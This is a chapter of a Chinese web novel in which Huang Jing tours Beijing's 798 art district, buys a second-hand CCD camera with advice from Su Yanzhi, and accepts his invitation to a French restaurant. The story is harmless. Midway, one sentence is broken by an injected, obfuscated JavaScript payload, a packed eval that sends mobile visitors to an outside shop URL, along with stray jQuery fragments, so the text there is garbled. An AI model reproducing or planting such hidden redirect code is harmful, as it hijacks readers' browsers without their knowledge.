文趣网 > 都市小说 > 今天黄总包/养人了没? > 27. 被邀入局
    5月5日,黄晶原本打算在家歇一天。方棠昨天刚走,房间忽然空了下来,沙发上的毯子还留着被压过的褶皱,窗台上方棠留下的奶茶杯已经洗干净倒扣在桌上。

    她睡到下午,醒来刷手机,大数据给她推荐望京的798艺术区,免预约,说是适合i人散步漫游,不仅有大大小小风格各异的免费展览,还有设计感十足的文艺小店,逛累了随便找家咖啡厅就能坐下来发呆。这正适合她这种既需要分散注意力、又不能消耗太多体力的人。

    黄晶翻了几张游客拍的园区照片——红砖墙上爬着地锦,废弃的工业管道被涂成了明黄色,某条巷子的拐角立着一座两人高的不锈钢雕塑,是一只正在打哈欠的猫。又刷了几篇攻略帖子,她觉得反正今天也没什么事,不如出去走走散散心。

    于是黄晶从床上坐起来,洗了把脸,换上浅紫色衬衫、牛仔裤小白鞋,扎了低马尾,背上那只仿佛能装下一切的斜挎包出了门。

    798的午后比想象中更闲适。五一假期刚过,游客潮退了,偶尔有骑自行车的大爷慢悠悠穿过主干道,画廊门口坐着打盹的保安,几个美术生模样的人坐在路边对着红砖墙画速写,背着相机的文艺青年蹲在草坪上给一只流浪猫拍照,有人扛着长焦镜头站在树荫下拍夕阳穿过钢架的光斑,推着婴儿车的年轻父母闲聊慢逛……

    黄晶漫无目的地晃进一个又一个展馆。有的是当代水墨,满墙黑白灰,她歪头看了半天,觉得画里的山像馒头;有的是装置艺术,一堆旧电视机叠在一起,屏幕里循环播放雪花点,她站在那儿看了一会儿,心想这和失眠时闭眼看到的东西差不多。

    也有那种专门为拍照而生的网红展,满墙霓虹灯和塑料球池,她在门口探了个头就退出来了——人太多,还要排队。

    之后又逛了两个免费展览,一个展的是当代陶艺,各种歪歪扭扭的陶罐摆在白色展台上,她盯着那只像被踩了一脚的陶罐看了好一会儿,心里想:这和我小时候捏的泥巴碗也差不多。

    另一个展的是青年摄影师联展,黑白照片挂满整面墙,她在一张后海雨夜的夜景前站了很久。照片里湖面倒映着岸边的灯,雨丝把光晕扯成无数条细线,有个模糊的人影正撑着伞走过石桥,蛮有《盗墓笔记》里小哥的感觉的。

    从展厅出来,黄晶被太阳晒得眯起眼,然后在路边一张树荫下的长椅上坐着休息。不远处一面涂鸦墙,墙上画着一只巨大的橘色狐狸,尾巴一直延伸到墙角,有个女孩正站在狐狸尾巴末端让男朋友拍照。黄晶看了会儿热闹,然后收回目光,掏出手机开始刷闲鱼。

    她想要一台相机——本科时候就想要,但那些牌子的入门款也基本要两三千,太贵了。她想买个小点的,ccd那种最好,便于携带,扫街也方便。

    闲鱼关键词搜索CCD、老数码、复古、小巧便携,翻了半天,相中一款佳能sx210is,六百块钱,卡片机,能塞进斜挎包里,成像效果看买家秀还行。但她不太懂二手相机行情,正逐字研究卖家描述里的“九成新”到底靠不靠谱。

    苏衍之刚从其中一间画廊出来。他今天穿得很休闲——亚麻衬衫,袖口随意挽到手肘,看上去像是个来逛展的艺术品藏家。他独自一人,身边没有助理也没有随行者,正低头划着手机。

    屏幕上是叶知秋刚发来的消息——昨晚五四青年节,她们的活动很成功,感谢苏衍之之前帮忙联络场地,改天请他吃饭。

    苏衍之嘴角微扬,正准备回复,余光捕捉到一个浅紫色的身影正坐在长椅上,低着头念念有词。

    他收起手机,脸上浮现出那个标志性的笑容——温和、无害、恰到好处,像是在任何偶遇场合中都能精准投放的社交名片。

    苏衍之往前走了两步,语气随意得像在聊天气:“在研究什么?”

    黄晶抬头,看到一个笑眯眯的男人——不熟,但好像见过。她在脑子里快速翻了一下脸盲症患者的通讯录,没翻到对应的名字,但这个人说话的语气好像认识她,于是她用一种“虽然不记得你是谁但先礼貌回应”的语气说:“相机。”

    苏衍之看到她眼底那一闪而过的迷茫——那种努力检索但没检索到的空白。她完全不记得他了。他自我介绍:“苏衍之。上次云顶,我们吃过饭。”

    黄晶想起来了。云顶那次她全程犯病,整个晚上像隔着一层毛玻璃看人,所有人的脸都是模糊的,但他的声音她有点印象——就是那个披着外套慢悠悠走进来说“姑娘进来吃饭”的人。她说:“哦,是你。”语气平淡,只陈述一个事实:她想起他是谁了。

    苏衍之在她旁边的长椅上坐下来,“在看什么型号?”

    黄晶把手机屏幕翻过来给他看,“这个,六百块,不知道划不划算?”

    苏衍之接过手机,认真看了几秒,像在审一份投资报告。“这款ccd最近被炒得有点高,六百这个价要看快门数,最好问卖家。”

    “怎么问?”

    他教她:“就问‘快门数多少?镜头有没有霉点?电池续航怎么样?’”

    黄晶照着他的话打过去,卖家回快门不到两千,镜头没霉,电池续航还行。她说:“还行是什么意思?”

    苏衍之在旁边笑了,“还行就是不太行,砍到五百五吧。”

    黄晶看了他一眼,“你还会砍价?”

    “做生意的,都会砍价。我只是不砍小钱。”

    “那你怎么知道这些?”

    “之前一个朋友想收一台老款ccd,我帮她在二手平台上蹲了几天。那个卖家更不靠谱,快门数都快两万了还敢说九成新。”

    黄晶瞪大了眼睛,“两万次快门还叫九成新?”

    “对。所以后来直接托人从日本带了一台新的,省得被骗。”

    “那你对她还挺好的。”

    苏衍之笑了笑,“她对我也挺好的,上个月帮我拍了件装置,没加佣金。”

    黄晶点点头,没有再问——这是别人的私事,她本能地知道不该多嘴。

    卖家回消息说五百五可以,她正准备下单,苏衍之忽然问:“对了,晚上有个饭局,还是上次那些人,你来不来?”他语气随意。

    黄晶从闲鱼页面抬起头,看了他一眼。想了想,然后开口:“在哪?”

    苏衍之报了一个地址,是亮马桥附近一家不挂招牌的法餐厅,又说了时间,晚上七点。

    黄晶听完,没有立刻回答。她低头看了一眼手机上的闲鱼页面——卖家还在等她的确认。然后抬起头,问了一句很实际的话:“远不远?”

    “从798开车过去大概二十分钟,不远。”

    她又问:“那吃完你送我回来?”

    “有车,可以送。”

    卖家刚发来的消息:五百五,包邮。她按下了确认下单,然后抬起头:“行。”她站起来,拍了拍裤子上的灰。

    今晚的行程就这么定了——先买相机,再去蹭一顿免费的法餐。这两件事在她心里的优先级不分先后。

    黄晶在798逛到了太阳偏西。

    五月的傍晚来得慢,天光还亮着,园区里的游客已经开始陆陆续续往外走,换上了一拨刚下班过来看展的人。期间她逛了几家中古店,有一家专门收昭和时期的衬衫,印花大胆得让她想起方棠昨天穿的那件红色短袖。

    之后又逛了一家店主审美超好的女装店,她看中了几款上衣但又不想换衣服试——试衣间排着队,脱了穿穿了脱,最后还要对着镜子左右打量。算了,下次吧。

    杂货店卖的都是新奇小东西,什么陶瓷做的仙人掌盆栽、会发光的迷你地球仪、手绘的猫咪明信片,还有做成牙膏形状的润唇膏、戴贝雷帽的青蛙摆件、能折叠成巴掌大小的环保购物袋……每一样都古怪得可爱,但黄晶都是拍了照没有买。因为最后搬家会很麻烦,她早就过了什么都想往房间里搬的年纪,她对自己说,这些看看就好了。

    涂鸦墙前挤满了摆姿势的游人,有人举着相机在等风把头发吹起来,有人指挥同伴“再往左一点再左一点”。空的背景很少,拍照的人站成一排等着轮流上墙。

    黄晶懒得排队,站在旁边看了会儿,发现有个女生摆的姿势很有创意——假装要把墙上的涂鸦气球拽下来。她默默记下了这个动作,说不定以后能用上。

    那些咖啡店装潢很好看——落地玻璃窗配着原木色桌椅,门口小黑板上用粉笔写着今日特调,有家店在窗台上养了一排薄荷,路过时能闻到若有若无的清凉味。

    黄晶不喜欢喝咖啡,而且今晚法餐厅肯定有饮品,就不浪费这份钱了。她站在窗外拍了张照,把那些薄荷和黑板上的手写字一起收进取景框。

    黄晶打卡完火车头广场——那辆老旧的蒸汽机车被改成了艺术装置,车身漆面斑驳,车轮上长了青苔,铁轨枕木间还开着不知名的小白花。她绕着火车头走了一圈,拍了几张照,然后往地铁站方向走。

    园区真的太大了,每个角落都藏着让人想停下来多看两眼的东西,她今天只是挑了几个自己感兴趣的和标志性的去看了,到最后都累得走不动了。今日运动步数早已达标,再多走一步都算加班。

    从14号线望京站出来转乘亮马桥方向时,黄晶头靠在挡板上,想着下次天气好的时候可以带着新买的ccd来拍照。旁边还有中国电影博物馆,能一并逛了。她把这些念头收进脑子里,和手账本上的待办事项放在一起,分类为“有空再说”。

    到了亮马河附近,这是她第一次来这片区域,之前听都没听过。

    出了地铁站,黄晶沿着导航走在路上,越走越觉得有意思:一边是那种开了几十年的老牌酒店——外墙石材泛黄,大堂还铺着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634940|206530||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    九十年代的大理石,旋转门转起来吱吱响,门童戴着白手套站在一侧,西装笔挺得像是从九十年代港片里走出来的,外国住客拉着行李箱进进出出。

    隔一条小马路就是玻璃上贴着粉纸、喇叭循环播放“包子豆浆小米粥”的早餐店,蒸笼里的包子冒着白气,穿着白背心的大爷蹲在路边剥蒜,脚边趴着一条正在打盹的土狗。

    有时最割裂的发生在同一栋楼——底层是飘着葱油香的大众食堂,二楼却挂着标榜“新派融合菜”的法式小馆,英文招牌的霓虹灯管坏了一截,还在一闪一闪地挣扎。

    黄晶站在路口等红绿灯。六点多的晚高峰,豪车与外卖电动车并排停着。保时捷的引擎在怠速中低低响着,电动车后座的外卖箱上贴着褪色的美团贴纸,骑手低头看手机,耳机线从领口里钻出来,前筐里还放着一杯奶茶。

    黄晶看了一眼,觉得这画面挺有趣的——不管开什么车,都得等同一个红灯。

    绿灯亮了,跑车和电动车同时起步,各奔各的方向。她跟着人群过了马路,拐进一条安静的背街,又走了几步,终于到了那家法餐厅。

    灰砖墙,黑色铁门,门口连个灯箱都没有,只有一株老槐树斜斜探出墙头,树影里隐约能看到一块铜质铭牌,刻着餐厅的名字和一行小字:EST.2010。要不是导航说到了,她大概会直接走过。

    黄晶推门进去,一个穿黑色马甲、打着领结的年轻侍者迎上来,站姿笔挺,双手交叠在身前,微微欠身,语气礼貌而克制,问了句:“女士您好,请问是有预约吗?”

    黄晶想了想,说:“姓苏,苏衍之预定的。”

    对方微微点头,接着问她的姓名,语气依然温和,但能听出这是流程里的必要环节。

    “黄晶,黄瓜的黄,亮晶晶的晶。”

    侍者在平板上快速点了两下,然后抬手示意休息区的方向:“好的黄女士,您这边先坐,稍等一下。”

    侍者将她引至旁边的休息区落座。休息区的沙发是深墨绿色的丝绒面料,旁边小几上摆着一杯柠檬水和一朵单枝的白掌。

    黄晶把手机插上充电宝,靠着沙发刷亮马河citywalk的推荐帖——河边有步道,晚上有灯光秀,某篇笔记说顺着河往东走能走到蓝色港湾,路边会经过好几座风格各异的桥。她想着下次可以傍晚来,下午逛798,傍晚来亮马河散步,刚好在同一条地铁线上。

    或许是正值晚餐时间,断断续续来了好几波人,有单独来的,也有三三两两结伴的。其他侍者都是立即笑着迎上去,熟络地唤着“X先生”、“X女士”,有的还会问一句“还是上次那个位置?”,一看就是常客。

    黄晶无意听了一耳,有的好像也是姓苏——大概是苏家的什么亲戚或生意伙伴,被侍者引着往包厢方向去了。

    过了好一会儿,刚才那位年轻侍者快步走过来,微微一躬身,语气里带着一丝歉意:“黄女士,让您久等了。苏先生预定的包厢在二楼,请跟我来。”

    他说着侧过身,伸出手臂做出一个标准的引导手势——手掌自然伸展,指尖并拢,四指指向方向,上臂与前臂呈完美的九十度夹角,从指尖到肩线流畅得像是用圆规画出来的。

    转身的时机也刚好卡在黄晶站起来的瞬间,不快不慢,恰好留出一步半的距离。带路过程中他全程保持着侧身的角度,既不会让她看到自己的后背,也不会让她觉得被盯得太紧。步伐大小也刚好——每次她走两步,他就恰好迈出一步,速度不疾不徐,像被精确校准过的节拍器。

    黄晶跟在他身后,看着这位和自己年纪相仿的年轻人丝滑得像吃了德芙的专业动作,内心只有一个朴素的疑问:他到底是怎么做到的?从用词、表情、步伐到手指的角度,每一项都恰到好处,既不会让人有距离感,又带着职业化的温度。

    她想起自己当年考教资时练习的那些教学姿态,和这个比起来,她的“教态”只能算及格。台上一分钟,台下十年功,他们肯定经过无数次培训。但培训他们的人得多严格?他们自己在练习的时候会不会也紧张到顺拐?

    到了二楼包厢门口,侍者停下脚步,侧身站定,抬手轻轻推开门,再次微微欠身,声音恰到好处地压低了半分:“到了黄女士,这就是苏先生预定的包厢。有任何需要,请随时联系我们。”

    黄晶点了点头,“嗯”了一声,走进去。门在她身后无声地合拢,门锁咔嗒一声咬合,把走廊的灯光和若有若无的背景音乐一并隔绝在外。

    包厢里已经有了好几个人。落地窗外亮马河的灯光正好亮起来,河面上倒映着岸边建筑的轮廓,窗户开了一小条缝,晚风从河面上吹进来,带着水腥气和初夏的微凉。烛光在长桌上跳了跳,有人抬头看向门口,有人继续说着未完的话……

    黄晶站在门口,正对上某个人的目光。